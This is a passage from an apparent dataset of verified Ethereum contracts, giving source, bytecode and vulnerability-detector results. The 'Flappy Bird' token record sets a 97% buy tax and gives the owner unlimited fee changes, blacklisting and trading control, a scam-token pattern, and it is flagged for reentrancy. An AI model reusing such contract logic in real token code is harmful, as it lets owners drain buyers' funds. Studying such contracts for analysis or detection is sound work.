3d7381613d37565b9050919050565b6000613d8582612f39565b9150613d9083612f39565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613dc957613dc861347d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613e0e82612f39565b9150613e1983612f39565b925082613e2957613e28613dd4565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e90602183612e9a565b9150613e9b82613e34565b604082019050919050565b60006020820190508181036000830152613ebf81613e83565b9050919050565b600060c082019050613edb6000830189613153565b613ee8602083018861309f565b613ef56040830187613be7565b613f026060830186613be7565b613f0f6080830185613153565b613f1c60a083018461309f565b979650505050505050565b600081519050613f3681612f43565b92915050565b600080600060608486031215613f5557613f54612c85565b5b6000613f6386828701613f27565b9350506020613f7486828701613f27565b9250506040613f8586828701613f27565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d7cf357cfa58fd9d2661831e382e44082d71936d0d94996d94aa5239e71a8c564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,896
0x6382cc55484cf91bd5fcbe0e2b5ca8318a06baff
/** *Submitted for verification at Etherscan.io on 2022-04-18 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FlappyBird is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Flappy Bird"; string private constant _symbol = "FLAPPYBIRD"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xb2675a281BD8f93629F7EC745Bc5FfEfb552D81d); address payable private _marketingAddress = payable(0xb2675a281BD8f93629F7EC745Bc5FfEfb552D81d); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 5000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b657600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611963565b610601565b005b34801561020a57600080fd5b5060408051808201909152600b81526a119b185c1c1e48109a5c9960aa1b60208201525b60405161023b9190611a28565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a7d565b6106a0565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b5066038d7ea4c680005b60405190815260200161023b565b3480156102dc57600080fd5b506102646102eb366004611aa9565b6106b7565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023b565b34801561032e57600080fd5b50601554610294906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611aea565b610720565b34801561036e57600080fd5b506101fc61037d366004611b17565b61076b565b34801561038e57600080fd5b506101fc6107b3565b3480156103a357600080fd5b506102c26103b2366004611aea565b6107fe565b3480156103c357600080fd5b506101fc610820565b3480156103d857600080fd5b506101fc6103e7366004611b32565b610894565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611aea565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610294565b34801561045957600080fd5b506101fc610468366004611b17565b6108c3565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600a8152691193105414165092549160b21b602082015261022e565b3480156104c257600080fd5b506101fc6104d1366004611b32565b61090b565b3480156104e257600080fd5b506101fc6104f1366004611b4b565b61093a565b34801561050257600080fd5b50610264610511366004611a7d565b610978565b34801561052257600080fd5b50610264610531366004611aea565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610985565b34801561056757600080fd5b506101fc610576366004611b7d565b6109d9565b34801561058757600080fd5b506102c2610596366004611c01565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b32565b610a7a565b3480156105ed57600080fd5b506101fc6105fc366004611aea565b610aa9565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c3a565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c6f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c9b565b915050610637565b5050565b60006106ad338484610b93565b5060015b92915050565b60006106c4848484610cb7565b610716843361071185604051806060016040528060288152602001611db5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f3565b610b93565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c3a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c3a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb8161122d565b50565b6001600160a01b0381166000908152600260205260408120546106b190611267565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611c3a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611c3a565b601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161062b90611c3a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161062b90611c3a565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161062b90611c3a565b600893909355600a91909155600955600b55565b60006106ad338484610cb7565b6012546001600160a01b0316336001600160a01b031614806109ba57506013546001600160a01b0316336001600160a01b0316145b6109c357600080fd5b60006109ce306107fe565b90506107fb816112eb565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161062b90611c3a565b60005b82811015610a74578160056000868685818110610a2557610a25611c6f565b9050602002016020810190610a3a9190611aea565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6c81611c9b565b915050610a06565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161062b90611c3a565b601755565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161062b90611c3a565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b156110ec57601554600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601654811115610ef65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3857506001600160a01b03821660009081526010602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b038381169116146110155760175481610fb2846107fe565b610fbc9190611cb6565b106110155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b6000611020306107fe565b6018546016549192508210159082106110395760165491505b8080156110505750601554600160a81b900460ff16155b801561106a57506015546001600160a01b03868116911614155b801561107f5750601554600160b01b900460ff165b80156110a457506001600160a01b03851660009081526005602052604090205460ff16155b80156110c957506001600160a01b03841660009081526005602052604090205460ff16155b156110e9576110d7826112eb565b4780156110e7576110e74761122d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112e57506001600160a01b03831660009081526005602052604090205460ff165b8061116057506015546001600160a01b0385811691161480159061116057506015546001600160a01b03848116911614155b1561116d575060006111e7565b6015546001600160a01b03858116911614801561119857506014546001600160a01b03848116911614155b156111aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d557506014546001600160a01b03858116911614155b156111e757600a54600c55600b54600d555b610a7484848484611474565b600081848411156112175760405162461bcd60e51b815260040161062b9190611a28565b5060006112248486611cce565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112d86114a2565b90506112e483826114c5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357611333611c6f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138757600080fd5b505afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190611ce5565b816001815181106113d2576113d2611c6f565b6001600160a01b0392831660209182029290920101526014546113f89130911684610b93565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611431908590600090869030904290600401611d02565b600060405180830381600087803b15801561144b57600080fd5b505af115801561145f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148157611481611507565b61148c848484611535565b80610a7457610a74600e54600c55600f54600d55565b60008060006114af61162c565b90925090506114be82826114c5565b9250505090565b60006112e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166a565b600c541580156115175750600d54155b1561151e57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154787611698565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157990876116f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a89086611737565b6001600160a01b0389166000908152600260205260409020556115ca81611796565b6115d484836117e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161991815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061164682826114c5565b8210156116615750506006549266038d7ea4c6800092509050565b90939092509050565b6000818361168b5760405162461bcd60e51b815260040161062b9190611a28565b5060006112248486611d73565b60008060008060008060008060006116b58a600c54600d54611804565b92509250925060006116c56114a2565b905060008060006116d88e878787611859565b919e509c509a509598509396509194505050505091939550919395565b60006112e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f3565b6000806117448385611cb6565b9050838110156112e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b60006117a06114a2565b905060006117ae83836118a9565b306000908152600260205260409020549091506117cb9082611737565b30600090815260026020526040902055505050565b6006546117ed90836116f5565b6006556007546117fd9082611737565b6007555050565b600080808061181e606461181889896118a9565b906114c5565b9050600061183160646118188a896118a9565b90506000611849826118438b866116f5565b906116f5565b9992985090965090945050505050565b600080808061186888866118a9565b9050600061187688876118a9565b9050600061188488886118a9565b905060006118968261184386866116f5565b939b939a50919850919650505050505050565b6000826118b8575060006106b1565b60006118c48385611d95565b9050826118d18583611d73565b146112e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b803561195e8161193e565b919050565b6000602080838503121561197657600080fd5b823567ffffffffffffffff8082111561198e57600080fd5b818501915085601f8301126119a257600080fd5b8135818111156119b4576119b4611928565b8060051b604051601f19603f830116810181811085821117156119d9576119d9611928565b6040529182528482019250838101850191888311156119f757600080fd5b938501935b82851015611a1c57611a0d85611953565b845293850193928501926119fc565b98975050505050505050565b600060208083528351808285015260005b81811015611a5557858101830151858201604001528201611a39565b81811115611a67576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9057600080fd5b8235611a9b8161193e565b946020939093013593505050565b600080600060608486031215611abe57600080fd5b8335611ac98161193e565b92506020840135611ad98161193e565b929592945050506040919091013590565b600060208284031215611afc57600080fd5b81356112e48161193e565b8035801515811461195e57600080fd5b600060208284031215611b2957600080fd5b6112e482611b07565b600060208284031215611b4457600080fd5b5035919050565b60008060008060808587031215611b6157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9257600080fd5b833567ffffffffffffffff80821115611baa57600080fd5b818601915086601f830112611bbe57600080fd5b813581811115611bcd57600080fd5b8760208260051b8501011115611be257600080fd5b602092830195509350611bf89186019050611b07565b90509250925092565b60008060408385031215611c1457600080fd5b8235611c1f8161193e565b91506020830135611c2f8161193e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caf57611caf611c85565b5060010190565b60008219821115611cc957611cc9611c85565b500190565b600082821015611ce057611ce0611c85565b500390565b600060208284031215611cf757600080fd5b81516112e48161193e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d525784516001600160a01b031683529383019391830191600101611d2d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daf57611daf611c85565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206d553b9cc6b141b06cc3392e979428b02c1c82f18d86bb3e2ca9cf30b814f56564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,897
0x94f8adab503d60e5e3a3089b57349c009cce3781
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 